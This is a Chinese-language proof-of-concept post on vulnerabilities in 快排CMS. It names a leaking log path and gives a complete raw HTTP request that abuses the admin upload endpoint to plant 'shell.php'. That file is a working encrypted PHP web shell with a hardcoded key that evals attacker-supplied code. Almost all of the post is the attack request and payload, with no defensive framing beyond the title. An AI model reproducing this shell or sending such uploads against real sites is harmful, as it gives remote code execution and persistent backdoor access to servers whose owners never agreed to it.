快排cms漏洞合集 POC

信息泄露漏洞任意文件上传漏洞

runtime/log/2021xx/xx.log 2021后面是月/日.log

POST /admin.php/index/upload.html?dir=image HTTP/1.1Host: xxx.xxx.xxx.xxxContent-Length: 305Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://103.45.186.151Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3ADe20EdY4pBp7QAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://103.45.186.151/admin.php/config/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: admin_id=IphHb2Z%2FRG9gIXGA7HpPzQ%3D%3D; menu_id=menu_22; url=%2Fadmin.php%2Fconfig%2Findex.htmlConnection: close------WebKitFormBoundary3ADe20EdY4pBp7QAContent-Disposition: form-data; name="localUrl"C:fakepathshell.php------WebKitFormBoundary3ADe20EdY4pBp7QAContent-Disposition: form-data; name="imgFile"; filename="shell.php"Content-Type: application/octet-stream<?php@error_reporting(0);session_start();    $key="e45e329feb5d925b";    $_SESSION['k']=$key;    $post=file_get_contents("php://input");    if(!extension_loaded('openssl'))    {        $t="base64_"."decode";        $post=$t($post."");        for($i=0;$i<strlen($post);$i++) {                 $post[$i] = $post[$i]^$key[$i+1&15];                 }    }    else    {        $post=openssl_decrypt($post, "AES128", $key);    }    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1];    class C{public function __invoke($p) {eval($p."");}}    @call_user_func(new C(),$params);?>------WebKitFormBoundary3ADe20EdY4pBp7QA--